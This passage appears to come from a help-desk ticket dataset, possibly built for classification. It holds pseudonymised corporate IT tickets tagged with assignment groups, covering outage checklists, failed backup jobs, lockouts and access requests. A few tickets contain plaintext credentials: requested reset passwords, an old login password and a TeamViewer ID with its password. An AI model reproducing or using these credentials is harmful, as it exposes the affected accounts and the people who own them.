working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"planned power outage :matlxjgi elrndiuy - (company) hard down since 10:03 pm on 10/15 et what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____yes____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______10:03 pm on 10/15 et_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____na___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____na___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____no___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ____yes____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_737 failed in job_scheduler at: 10/15/2016 21:11:00 received from: monitoring_tool@company.com_x000D_ +backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 32 _x000D_ + failed disk agents ........... 0 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 32 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 1 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 2 _x000D_ + =========================================== _x000D_ + mbytes total ................. 277264 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 0 _x000D_ +_x000D_ +_x000D_ +_x000D_ +job Job_737 failed in job_scheduler at: 10/15/2016 21:11:00",GRP_8 +"sound not working , suspecting email threat from: thaybd mhasttdd +sent: saturday, october 15, 2016 10:52 pm +to: nwfodmhc exurcwkm +cc: rohthsit mhdyhtya +subject: fw: inquiry - purchase order + +hi, + +kindly check for below mail, is hope it may be junk mail. i never meet any person as name shows of sender. i have tried opening attachment but unable to do that. +forwarding this mail for seeking it help to check whether its only junk mail or attachment opeyctrhbkm plvnuxmry cause issues ( like virus or our company database theft through link) + +please check and confirm. + +best ",GRP_0 +inquiry on erp SID_34 maintenance inquiry on erp SID_34 maintenance ,GRP_0 +"apac, company: multiple switches went down at 07:36 pm et on 10/15. company-ap-chn-apac-company-fpsf-2960s-access-sw01_x000D_ +company-ap-chn-apac-company-pmw-2960s-access-sw01_x000D_ +company-ap-chn-apac-company-psf-2960s-access-sw01",GRP_8 +"job bcv117_SID_37 failed in job_scheduler at: 10/15/2016 18:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bcv117_SID_37 failed in job_scheduler at: 10/15/2016 18:03:00",GRP_1 +"job SID_38hoti failed in job_scheduler at: 10/15/2016 17:27:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_38hoti failed in job_scheduler at: 10/15/2016 17:27:00",GRP_8 +"job SID_55hoti failed in job_scheduler at: 10/15/2016 17:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_55hoti failed in job_scheduler at: 10/15/2016 17:25:00",GRP_8 +"job Job_563 failed in job_scheduler at: 10/15/2016 15:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_563 failed in job_scheduler at: 10/15/2016 15:12:00",GRP_8 +"job Job_480 failed in job_scheduler at: 10/15/2016 13:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_480 failed in job_scheduler at: 10/15/2016 13:18:00",GRP_12 +"job bwhrattr failed in job_scheduler at: 10/15/2016 08:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 10/15/2016 08:45:00",GRP_9 +"job Job_1320 failed in job_scheduler at: 10/15/2016 08:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1320 failed in job_scheduler at: 10/15/2016 08:31:00",GRP_9 +"pc an r241 in halle c nähe büro nesner fährt nicht hoch einlasten bei it-germany, da hierfür bereits ein ersatz-pc verbaut ist und ein neuer bestellt wurde.",GRP_33 +" laptop model latitude 7350 speakers are not working name:ilypdtno mkdfetuq +language: +browser:microsoft internet explorer +email:ilypdtno.mkdfetuq@gmail.com +customer number: +telephone: +summary:my laptop model latitude 7350 speakers are not working",GRP_19 +jobs are getting fail due to dbif_rsql_sql_error issue jobs are getting fail due to dbif_rsql_sql_error issue,GRP_1 +"network outage: vogelfontein, south africa ,sa network is down since 2:28am et on 10/15/16 what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________2:28am et on 10/15/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___no____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job bwsdslspln failed in job_scheduler at: 10/15/2016 02:27:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwsdslspln failed in job_scheduler at: 10/15/2016 02:27:00",GRP_9 +"job Job_1338 failed in job_scheduler at: 10/15/2016 02:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 10/15/2016 02:06:00",GRP_9 +"job Job_1373 failed in job_scheduler at: 10/15/2016 02:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1373 failed in job_scheduler at: 10/15/2016 02:03:00",GRP_9 +"job Job_1382 failed in job_scheduler at: 10/15/2016 01:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1382 failed in job_scheduler at: 10/15/2016 01:39:00",GRP_9 + server lnbdm839 (active directory) located in philadelph​ia is down since 1:14am et on 10/15/16 server lnbdm839 (active directory) located in philadelph​ia is down since 1:14am et on 10/15/16,GRP_8 +"job bk_hana_SID_62_erp_dly_dp failed in job_scheduler at: 10/15/2016 01:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_62_erp_dly_dp failed in job_scheduler at: 10/15/2016 01:32:00",GRP_8 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"m drive access request _x000D_ +_x000D_ +received from: ajlbguzn.fxrwivyg@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please provide access m:\pu5 press tool folder for following computers._x000D_ +awywx217842_x000D_ +awyl8911908_x000D_ +_x000D_ +with best ",GRP_12 +"job SID_56filesys failed in job_scheduler at: 10/15/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_56filesys failed in job_scheduler at: 10/15/2016 00:02:00",GRP_8 +"job Job_1653 failed in job_scheduler at: 10/15/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1653 failed in job_scheduler at: 10/15/2016 00:02:00",GRP_8 +"pass word reset + +received from: ujzhflpn.oibnxrvq@gmail.com + +hi + + please reset the pass word as ""daypay3"" for below user id +user id – purartnpn12 + + +best ",GRP_0 +"network outage: engineering_toolkuznetsk warehouse - (company) network is down since 9:47pm et on 10/14/16 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________9:47pm et on 10/14/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job SID_56filesys failed in job_scheduler at: 10/14/2016 22:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_56filesys failed in job_scheduler at: 10/14/2016 22:25:00",GRP_5 +"vogelfontein, south africa , sa:company-eu-zaf-vogelfontein-2960-access-sw08.company.com is down since 8:04 pm et on 10/14. vogelfontein, south africa , sa:company-eu-zaf-vogelfontein-2960-access-sw08.company.com is down since 8:04 pm et on 10/14._x000D_ +interface down - on gigabitethernet1/0/49 · uplink to company-eu-zaf-vogelfontein-2960-access-sw08 - on company-eu-zaf-vogelfontein-2960-core-sw01.company.com ",GRP_8 +password reset request password reset request,GRP_0 +unable to sync mails or calendars on mobile device unable to sync mails or calendars on mobile device,GRP_0 +ticket update on inplant_869636 ticket update on inplant_869636,GRP_0 +"unable to connect to network printer unable to connect to network printer_x000D_ +_x000D_ +ticket update on inplant_869629",GRP_0 +"job Job_562 failed in job_scheduler at: 10/14/2016 17:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_562 failed in job_scheduler at: 10/14/2016 17:51:00",GRP_8 +"password not update _x000D_ +_x000D_ +received from: cuzhydjl.fugwxdqh@gmail.com_x000D_ +_x000D_ +hello team good afternoon._x000D_ +_x000D_ +my name is cuzhydjl fugwxdqh, mexico queretaro._x000D_ +_x000D_ +unfortunate my password was expired but i forgot update it, now i cannot enter at the company systems (distributor_tool, crm,)_x000D_ +_x000D_ +today i tried to change the password but the web site don't give me access, please can you said me what i should do about this?_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"network printer not working _x000D_ +_x000D_ +received from: umzcxfah.aoshpjiu@gmail.com_x000D_ +_x000D_ +please check to see if printer rr14 on lrrsm007 is connected to the network. i have sent several documents but they are all sitting in queue. the printer is turned on and says it is ready but nothing happens._x000D_ +",GRP_0 +ticket update on inplant_869625 ticket update on inplant_869625,GRP_0 +"folder deleted in HostName_768 folder deleted in HostName_768 + +folder needs to be restored + +t:\globaleng\beyond machining\gtc\ + +",GRP_5 +unable to log in to erp netweaver unable to log in to erp netweaver ,GRP_0 +windows password reset windows password reset,GRP_0 +ess password reset ess password reset,GRP_0 +"request: unlock user account (sekarf4ts) + +received from: sthyuraj.sektyhar@company.com + +hello, + +please unlock my user account + +user name: sekarf4ts + + + +",GRP_0 +windows account lockout windows account lockout,GRP_0 +"company center accounts added- help with a deleted item please add to my company center accounts 81543268,70453441,81819969,70776642,81887755,70823214 and 81936238. on account 81945823 i accidently deleted the orders section please restore",GRP_21 +"job snp_heu_6_regen failed in job_scheduler at: 10/14/2016 14:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_6_regen failed in job_scheduler at: 10/14/2016 14:55:00",GRP_8 +"cannot create a delivery. please fix this in apo + +received from: hybiaxlk.lawptzir@gmail.com + +[cid:image001.jpg@01d22610.66263d40] + +kryuisti turleythy +usa site business manager +hybiaxlk.lawptzir@gmail.com + + + +",GRP_6 +"job snp_heu_5_regen failed in job_scheduler at: 10/14/2016 14:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_5_regen failed in job_scheduler at: 10/14/2016 14:25:00",GRP_8 +create telephony_software id for the gso new hire sewilrxm cbikymvf create telephony_software id for the gso new hire sewilrxm cbikymvf ,GRP_0 +"unable to save exe file _x000D_ +_x000D_ +received from: rlphwiqn.zagvbkro@gmail.com_x000D_ +_x000D_ +hello_x000D_ +i need help saving an .exe file. i had an analyst attempting to help today and he asked me to put in a help desk ticket as there is a problem with my pc. the file he is attempting to save is attached._x000D_ +_x000D_ +",GRP_3 +vip 2: user unable to join skype meeting from external vendor vip 2: user unable to join skype meeting from external vendor,GRP_0 +analysis for office (aao) tool install the analysis for office (aao) tool on the laptop.,GRP_19 +"error: no sto possible with these combinations error: no sto possible with these combinations_x000D_ +_x000D_ +error when entering a stock transfer for material # 2122807 from plant_93 to plant_333._x000D_ +_x000D_ +",GRP_29 +system hangs and slow help to format and reinstall the os on the laptop . system is getting hang suddenly and slow running.,GRP_19 +java error help to update the java ver.on the internet explore,GRP_19 +access issue unable to install the software asking for administrator access,GRP_19 +"access denied on the collaboration_platform finance link link where user needs access _x000D_ +_x000D_ +",GRP_16 +"melisdfysa is not receiving emails from k-rgrtrs melisdfysa is not included on the k-rgrtrs email list. she is not receiving emails coming from this address. + +",GRP_2 +phone issue phone issue,GRP_0 +generirtc information generirtc information,GRP_0 +account lockout account lockout,GRP_0 +"when i click on the download to pdf i don't get the pop-up which allows me to download to pdf (see attachment) when i click on the download to pdf i don't get the pop-up which allows me to download to pdf (see attachment)_x000D_ +hi this is bthrob ducyua,_x000D_ +i had don put *.crm.dynamics.com in his popup blocker and it worked, i don't know if that's the only thing he needs in the pop-up blocker i also had him put company.collaboration_platform.com in his pop-up blocker because that's what i had in mine. please close this ticket if this is all that needs to be done.",GRP_0 +blank call blank call,GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +outlook issue outlook issue // unable to open new email and is going to not responding.,GRP_0 +inc1559041 - ticket update inc1559041 - ticket update,GRP_0 +"lost connection to \\hqn029 which is a personal drive shared between my desktop and laptop. i lost connection to \\hqn029 which is a personal drive shared between my desktop and laptop. i am able to access it on my desktop but no longer on my laptop. i tried to map to the location again, but was unsuccessful. ",GRP_0 +"i cant see my archived emails in outlook. i am leaving today, and natytse sylyhtsvesuyter will need to see those archived emails outlook",GRP_0 +"erp printer rerouting name:uicjxvng jcoshmbf +language: +browser:microsoft internet explorer +email:uicjxvng.jcoshmbf@gmail.com +customer number: +telephone: +summary:i need to change my default printer in erp for transactions co01 and co02. despite changing my default in su3, they are still printing to the wrong printer.",GRP_5 +interface: fastethernet0/48 cisco aircap 3702 on company-na-usa-usa-idf-2-b-2960-access-sw02.company.com is down interface: fastethernet0/48 cisco aircap 3702 on company-na-usa-usa-idf-2-b-2960-access-sw02.company.com is down since 10:12 am et on 10/14.,GRP_8 +unable to open SID_1 and password issue in SID_21 unable to open SID_1 and password issue in SID_21,GRP_0 +"bobj + +received from: yhtdon.zdyhazula@company.com + +i am having difficulty obtaining data from bobj which i must have this morning. are there any issues being reported? if not, could someone please call me. +",GRP_9 +erp password locked out after updating passwords with password_management_tool password manager everything else works. just erp SID_34 is locked out.,GRP_0 +unable to login to hub to check pay statements unable to login to hub to check pay statements ,GRP_0 +"HostName_106:windows disk space utilization alert :utiliuytretion is 85%,free space available is 15% under 3gb. HostName_106:windows disk space utilization alert :utiliuytretion is 85%,free space available is 15% under 3gb.",GRP_12 +"problem with erp sales info + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +i am having trouble getting erp sales info. there are no figures in the fields when i pull up a report. + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + + +from: suthye kinght +sent: wednesday, october 12, 2016 1:23 pm +to: vkzwafuh tcjnuswg +cc: sntvfpbl vtokgley +subject: re: erp sales info + +hi stuarthsyt, + +you may have to put an it ticket in to get this fixed. + +",GRP_9 +unable to create skype meetings onbehalf of tomashtgd mchectg unable to create skype meetings on behalf of tomashtgd mchectg,GRP_26 +interface1/0/40 is down on switch company-eu-deu-germany-emsw03-2960s-access-sw03 since 9:44 am et on 10/14. interface1/0/40 is down on switch company-eu-deu-germany-emsw03-2960s-access-sw03 since 9:44 am et on 10/14.,GRP_8 +issues viewing drawings. issues viewing drawings. please see the attached document with the error messages.,GRP_0 +"a kündigung for dxnzkcuh eqdgoxap, 11161751, effective 13.10.2016 has been approved. hello , _x000D_ +_x000D_ +a kündigung for dxnzkcuh eqdgoxap, 11161751, effective 13.10.2016 has been approved. _x000D_ +_x000D_ +click the link to view. _x000D_ +",GRP_2 +unable to see all the tabs under ess unable to see all the tabs under ess,GRP_0 +let's talk video is not playing. let's talk video is not playing.,GRP_0 +"i cannot access ethics portal i have recently switched account from company.com to company.com, now, whilst i'm able to log into the hub with the new credentials, when i try to log into the ethics portal i get this message: +""welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp. "" + +giuliasana byhdderni - bernig + +",GRP_23 +"issue with microsoft office - key entry. _x000D_ +_x000D_ +received from: hcyemunl.lnecsgpd@gmail.com_x000D_ +_x000D_ +hi it team,_x000D_ +_x000D_ +here with enclosed the screen shot. it says this copy of microsoft office professional is not activated. please suggest what to be done for key entry for activation. this popup comes automatically after i login to ms outlook._x000D_ +_x000D_ +best ",GRP_0 +ticket update for-ticket_no0448195 user called to inform that she was kicked out of eu remote after 50 minutes and now she is connected to na its working fine ,GRP_0 +"engineering tool will not open mathrv macyhtkey, - my engineering tool client will not open. i am getting an error message, ""cannot continue. the application is improperly formatheywted. contact the application vendor for assistance"". i have uninstalled and re-installed several times.",GRP_0 +need access to vpn need access to vpn computer name-lcvl7406035,GRP_34 +"job Job_1653 failed in job_scheduler at: 10/14/2016 08:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1653 failed in job_scheduler at: 10/14/2016 08:43:00",GRP_6 +"error message trying to log into purchasing to order error message trying to log into purchasing to order - user id - cuthyunniy +i have attached the email that shows the errors i am receiving +",GRP_0 +password reset request. password reset request.,GRP_0 +blocked out from expense report blocked out from expense report,GRP_0 +"some confidential document was shared on the hub and everyone had access to it. some confidential document was shared on the hub and everyone had access to it. + +link : < + +mikhghytr +this is an issue. + +sent from my iphone + +begin forwarded message: +from: efdhrlwv aoxtugzr +date: october 14, 2016 at 5:00:02 am edt +to: aedwrpvo qbpafrsx , aqritplu beuflorc , , itclukpe aimcfeko , yjscozva lyjoeacv +subject: confidential information on the hub +this was brought to my attention this morning by kpudhygb vnizrdeb. if you search ""usa jobs"" on the hub, this information is in the results field. just thought you all might want to know. +open: +< + + +",GRP_16 +"request you to reset my erp password _x000D_ +_x000D_ +received from: dshferby.houtnzdi@gmail.com_x000D_ +_x000D_ +",GRP_0 +usa backup exec server rgtsm005 has a filed raid hdd physical disk 0:0:2 usa backup exec server rgtsm005 has a filed raid hdd physical disk 0:0:2 ,GRP_12 +unable to open outlook and mobile device activation unable to open outlook and mobile device activation,GRP_0 +please reset password in SID_34 for user id : maihtyrhu please reset password in SID_34 for user id : maihtyrhu,GRP_0 +"user id & password fail + +received from: yxliakph.soucfnqe@gmail.com + +dear sir, +one apprentice,mr.suniythulkuujmar,nk,is unable to view his salary statements due to user id & password fail. +pl. help to recover the same. +old id:vvkhyhums16 +old password:dhad7wuz + +with ",GRP_0 +telefon defekt telefon defekt,GRP_33 +invoicing error invoicing error,GRP_13 +account locked in ad account locked in ad,GRP_0 +"skype account login problem name:ilypdtno mkdfetuq +language: +browser:microsoft internet explorer +email:ilypdtno.mkdfetuq@gmail.com +customer number: +telephone: +summary:skype account login problem + +________________ + +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +dwfiykeo argtxmvcumar3 + hello +ilypdtno mkdfetuq + hi ..am facing problem in signing in skype account +dwfiykeo argtxmvcumar3 + please provide me id & password for team viewer +ilypdtno mkdfetuq + id :747 077 476 + password :2364 +dwfiykeo argtxmvcumar3 + working now +ilypdtno mkdfetuq + yup ",GRP_0 +"the plm services is reporting a : down status on, HostName_1032 the plm services is reporting a : down status on, HostName_1032",GRP_8 +monitor tauschen \dhoalycb yopvwrjq monitor tauschen \dhoalycb yopvwrjq,GRP_24 +password is not getting synchronized. password is not getting synchronized.,GRP_0 +"unable login ethics _x000D_ +_x000D_ +received from: igdnsjhz.awnftgev@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i'm company apac company location it. many of our users didn't receive the email for ethics training of fy17 q2. but all of them have completed ethics training of fy17 q1. i found when they log into ethics, it will be displayed below hint_x000D_ +_x000D_ +_x000D_ + [cid:image002.jpg@01d22638.3c313e90]_x000D_ +_x000D_ +_x000D_ +please help us change the user's ethics status back to correct setting. ",GRP_23 +"circuit outage:company-na-usa-usa-mpls-2811-rtr01 is down at 4:10 am et on 10/14. what type of outage: _____network ____x_circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____yes____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______4:10 am et on 10/14.________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____na___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____yes__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______na____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _____global_telecom_1__000000223023260__________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +install office2010 \ ewel8323894 \qidgvtwa qvbutayx install office2010 \ ewel8323894 \qidgvtwa qvbutayx,GRP_24 +"quote save / material creation process for configured items with quoting engine broken quote save in erp SID_34 broken for configured items with erp vc (quoting engine). it only generates an error message ""line item -> 10 specify positive values only. _x000D_ +it seems to be a change in erp SID_34 yesterday, oct. 13, between 8pm and 11 pm est (server time). we noticed there is a break in the material number sequence. all mm's younger than 11pm does not exists in SID_34 neither in SID_1 or SID_21.",GRP_20 +setup new ws \batuhan gueduel setup new ws \batuhan gueduel,GRP_24 +setup new ws \szockfpj izohlgcq setup new ws \szockfpj izohlgcq,GRP_24 +setup new ws \qdztknml hpcxnyrq setup new ws \qdztknml hpcxnyrq,GRP_24 +"reporting_tool dashbankrd not appearing in my crm page + +received from: xfdkwusj.gyklresa@gmail.com + +hello +though connected – the reporting_engineering_tool is not shown + +[cid:image001.jpg@01d22601.f9d82300] + +xfdkwusj gyklresa +sales manager earthworks european served area - south +xfdkwusj.gyklresa@gmail.com + + +please note our new telephone number and company address effective 22.08.2016. +********************************************* + +company infrastructure gmbh +geschäftsführer: phvkowml azbtkqwx und naruedlk mpvhakdq + + + +",GRP_22 +"cannot add the lean event i cannot launch 'add the lean event icon' in collaboration_platform. request you to install microsoft 2013 version of it._x000D_ +attached is the error for your reference",GRP_0 +"account zugriff dyqekzuc djhznybt wiederherstellen - dringend _x000D_ +_x000D_ +received from: urpbyoke.vwcbhmds@gmail.com_x000D_ +_x000D_ +dyqekzuc djhznybt sitzt neben mir. er kann seinen account nicht mehr öffnen._x000D_ +_x000D_ +viele grüße, best ",GRP_0 +"problem with laptop- latitude 7350 + +received from: ybxsujwi.yzwanorl@gmail.com + +dear sir , + +i have got multiple problems with the laptop +1.instant shaking of the screen +2.mails before 1 month cannot be seen unless refreshed . +3. slow in processing + +please do the needful and get me out of this proms + + +",GRP_19 +reset the password for imjwbogq xfizlnap on erp / production / erp please reset password to 'daypay3',GRP_0 +"a next issue to bobj account dbednyuarski _x000D_ +_x000D_ +received from: pgacouel.mpgfkxwr@gmail.com_x000D_ +_x000D_ +hell o,_x000D_ +a next issue to bob j doesn't work on my account_x000D_ +[cid:image001.png@01d225fa.3fb2a650]_x000D_ +_x000D_ +_x000D_ +best ",GRP_9 +account locked. account locked.,GRP_0 +outlook freezes after crm update. outlook freezes after crm update.,GRP_0 +"probleme mit der anzeige von offenen emails + +received from: ecoljnvt.lbdqmvfs@gmail.com + +hallo , + +seit einiger zeit werden in meinem outlook nicht mehr alle offenen email angezeigt. + +[cid:image003.jpg@01d225f8.ca2168f0] + +ich muss immer erst auf das blau unterlegte hinweisfeld drücken um weitere emails sehen zu können. +das geht aber nur wenn ich eine verbindung zum exchange server habe. +da das nicht immer gegeben ist, bitte entsprechend einstellen, dass ich alle emails immer lesen kann. + +mit freundlichen grüßen / best ",GRP_0 +考勤系统进不去请处理谢谢！ 考勤系统进不去请处理谢谢！,GRP_30 +"telephony_software - issue very bad quality - 1064832909 the sound is horrible - customer was very hard to understand. i asked him whether he has this issue, too. not on his side of the line - he said.",GRP_7 +engineering tool and erp not working engineering tool and erp not working ,GRP_0 +need help in resetting password in password_management_tool need help in resetting password in password_management_tool,GRP_0 +"need extra awb copy for all vendor + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist as we need extra (mother) awb copy when closing all shipment for all vendor carriers for audit purpose. ",GRP_18 +"www.company.com & www.company.com are showing down in monitoring_tool observing below alerts in monitoring_tool since 12:14 am on 10/14 et:_x000D_ +_x000D_ +the www.company.com is reporting a : down status on, ec2-52-5-56-105.compute-1.amazonaws.com. please investigate _x000D_ +the www.company.com is reporting a : down status on, ec2-52-5-56-105.compute-1.amazonaws.com. please investigate ",GRP_51 +windows account locked windows account locked ,GRP_0 +"standby laptop for mcae course 5 day 17th to 21st oct + +received from: rnueobcz.lwhcbati@gmail.com + +dear saravthsyana, + +we need a standby laptop at hall-1 for our 5 day mcae course. +should have microsoft office, adobe reader & vlc to run the show. + +please make it ready today i will collect it at 17th morning 8 am from your dept. + +thanking you +",GRP_19 +"job Job_3052 failed in job_scheduler at: 10/13/2016 23:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3052 failed in job_scheduler at: 10/13/2016 23:22:00",GRP_8 +"erp working slow + +received from: rayhtukumujar.br2@company.com + +hello, + +erp working is very slow since yesterday morning. but no action has been taken yet. please raise a sev2 ticket and arrange to resolve the issue immediately. + +booking of orders & resolving customer's queries are getting delayed due to this. await your immediate feedback. + +ಕೃತಜ್ಞತೆಗಳು / with ",GRP_14 +"business_client - authorisation + +received from: vomtbcej.lyiwqrct@gmail.com + +hello; + +pl. provide business_client authorization for checking/downloading drawings. + +employee id: 20295658 + + +",GRP_0 +"job Job_562 failed in job_scheduler at: 10/13/2016 22:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_562 failed in job_scheduler at: 10/13/2016 22:21:00",GRP_8 +"job bkwin_HostName_770_inc failed in job_scheduler at: 10/13/2016 21:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_770_inc failed in job_scheduler at: 10/13/2016 21:46:00",GRP_8 +"error _ sto from plant_44 to plant_55 when creating sto to return complained goods from plant_44 to plant_55, we found the error message as below, please help fixing this issue and advise back to us aerp. ",GRP_29 +"so#36131539 / condition type _x000D_ +_x000D_ +received from: qgvbalix.smehqkyj@gmail.com_x000D_ +_x000D_ +hello it team,_x000D_ +_x000D_ +we are not able to change the condition type for pos. 20, 50 and 60 in so#36131539._x000D_ +please check and advise me._x000D_ +_x000D_ +",GRP_13 +"job SID_43filesys failed in job_scheduler at: 10/13/2016 20:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_43filesys failed in job_scheduler at: 10/13/2016 20:38:00",GRP_8 +ticket update on inplant_869308 ticket update on inplant_869308,GRP_0 +"show me the text that is written on the email that has been quarantined below? show me the text that is written on the email that has been quarantined below? _x000D_ +_x000D_ +from: uisewznr ewtmkphs _x000D_ +sent: friday, october 14, 2016 3:04 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: fw: notification: fwd: needed material drawing_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +can you please show me the text that is written on the email that has been quarantined below? ",GRP_26 +"unable to submit expense report _x000D_ +_x000D_ +received from: vxzahrlc.frtkpehy@gmail.com_x000D_ +_x000D_ +could someone please call me. i have tried to call it and it keeps disconnecting._x000D_ +_x000D_ +_x000D_ +",GRP_0 +unable to install engineering_tool unable to install engineering_tool,GRP_0 +"order shipped ups ground _x000D_ +_x000D_ +from: tjlgzkbp iervwjzg _x000D_ +sent: 